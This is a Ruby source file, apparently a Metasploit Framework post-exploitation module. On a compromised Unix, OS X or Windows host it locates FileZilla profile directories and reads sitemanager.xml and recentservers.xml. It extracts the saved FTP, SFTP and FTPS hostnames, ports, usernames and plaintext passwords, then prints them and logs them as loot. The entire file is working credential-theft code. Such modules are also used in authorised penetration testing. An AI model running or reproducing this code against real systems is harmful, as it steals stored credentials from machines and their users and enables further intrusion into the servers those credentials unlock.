##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post

	include Msf::Post::File
	include Msf::Post::Windows::UserProfiles

	def initialize(info={})
		super( update_info(info,
			'Name'           => 'Multi Gather FileZilla FTP Client Credential Collection',
			'Description'    => %q{ This module will collect credentials from the FileZilla FTP client if it is installed. },
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'bannedit', # post port, added support for shell sessions
					'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
				],
			'Platform'       => ['unix', 'bsd', 'linux', 'osx', 'win'],
			'SessionTypes'   => ['shell', 'meterpreter' ]
		))
	end

	def run
		paths = []
		case session.platform
		when /unix|linux|bsd/
			@platform = :unix
			paths = enum_users_unix
		when /osx/
			@platform = :osx
			paths = enum_users_unix
		when /win/
			profiles = grab_user_profiles()
			profiles.each do |user|
				next if user['AppData'] == nil
				fzdir = check_filezilla(user['AppData'])
				paths << fzdir if fzdir
			end

		else
			print_error "Unsupported platform #{session.platform}"
			return
		end
		if paths.nil? or paths.empty?
			print_status("No users found with a FileZilla directory")
			return
		end

		get_filezilla_creds(paths)
	end

	def enum_users_unix
		if @platform == :osx
			home = "/Users/"
		else
			home = "/home/"
		end

		if got_root?
			userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
			userdirs << "/root\n"
		else
			userdirs = session.shell_command("ls #{home}#{whoami}/.filezilla")
			if userdirs =~ /No such file/i
				return
			else
				print_status("Found FileZilla Client profile for: #{whoami}")
				return ["#{home}#{whoami}/.filezilla"]
			end
		end

		paths = Array.new
		userdirs.each_line do |dir|
			dir.chomp!
			next if dir == "." || dir == ".."

			dir = "#{home}#{dir}" if dir !~ /root/
			print_status("Checking for FileZilla Client profile in: #{dir}")

			stat = session.shell_command("ls #{dir}/.filezilla/sitemanager.xml")
			next if stat =~ /No such file/i
			paths << "#{dir}/.filezilla"
		end
		return paths
	end


	def check_filezilla(filezilladir)
		print_status("Checking for Filezilla directory in: #{filezilladir}")
		session.fs.dir.foreach(filezilladir) do |dir|
			if dir =~ /FileZilla/
				print_status("Found #{filezilladir}\\#{dir}")
				return "#{filezilladir}\\#{dir}"
			end
		end
		return nil
	end

	def get_filezilla_creds(paths)

		sitedata = ""
		recentdata = ""
		creds = []

		paths.each do |path|
			print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")
			if session.type == "shell"
				type = :shell
				sites = session.shell_command("cat #{path}/sitemanager.xml")
				recents = session.shell_command("cat #{path}/recentservers.xml")
				print_status("recents: #{recents}")
				creds = [parse_accounts(sites)]
				creds << parse_accounts(recents) unless recents =~ /No such file/i
			else
				type = :meterp
				sitexml = "#{path}\\sitemanager.xml"
				present = session.fs.file.stat(sitexml) rescue nil
				if present
					sites = session.fs.file.new(sitexml, "rb")
					until sites.eof?
						sitedata << sites.read
					end
					sites.close
					print_status("Parsing sitemanager.xml")
					creds = [parse_accounts(sitedata)]
				else
					print_status("No saved connections where found")
				end

				recent_file = "#{path}\\recentservers.xml"
				recent_present = session.fs.file.stat(recent_file) rescue nil
				if recent_present
					recents = session.fs.file.new(recent_file, "rb")
					until recents.eof?
						recentdata << recents.read
					end
					recents.close
					print_status("Parsing recentservers.xml")
					creds << parse_accounts(recentdata)
				else
					print_status("No recent connections where found.")
				end
			end
			creds.each do |cred|
				cred.each do |loot|
					if session.db_record
						source_id = session.db_record.id
					else
						source_id = nil
					end
					report_auth_info(
						:host  => loot['host'],
						:port => loot['port'],
						:sname => 'ftp',
						:source_id => source_id,
						:source_type => "exploit",
						:user => loot['user'],
						:pass => loot['password'])
				end
			end
		end

	end

	def parse_accounts(data)
		creds = []

		doc = REXML::Document.new(data).root rescue nil
		return [] if doc.nil?

		doc.elements.to_a("//Server").each do |sub|
			account = {}
			account['host'] = sub.elements['Host'].text rescue "<unknown>"
			account['port'] = sub.elements['Port'].text rescue "<unknown>"

			case sub.elements['Logontype'].text
			when "0"
				account['logontype'] = "Anonymous"
			when /1|4/
				account['user'] = sub.elements['User'].text rescue "<unknown>"
				account['password'] = sub.elements['Pass'].text rescue "<unknown>"
			when /2|3/
				account['user'] = sub.elements['User'].text rescue "<unknown>"
				account['password'] = "<blank>"
			end

			if account['user'].nil?
				account['user'] = "<blank>"
			end
			if account['password'].nil?
				account['password'] = "<blank>"
			end

			case sub.elements['Protocol'].text
			when "0"
				account['protocol'] = "FTP"
			when "1"
				account['protocol'] = "SSH"
			when "3"
				account['protocol'] = "FTPS"
			when "4"
				account['protocol'] = "FTPES"
			end
			creds << account

			print_status("    Collected the following credentials:")
			print_status("    Server: %s:%s" % [account['host'], account['port']])
			print_status("    Protocol: %s" % account['protocol'])
			print_status("    Username: %s" % account['user'])
			print_status("    Password: %s" % account['password'])
			print_line("")
		end
		return creds
	end

	def got_root?
		case @platform
		when :windows
			if session.sys.config.getuid =~ /SYSTEM/
				return true
			else
				return false
			end
		else # unix, bsd, linux, osx
			ret = whoami
			if ret =~ /root/
				return true
			else
				return false
			end
		end
	end

	def whoami
		if @platform == :windows
			session.fs.file.expand_path("%USERNAME%")
		else
			session.shell_command("whoami").chomp
		end
	end
end
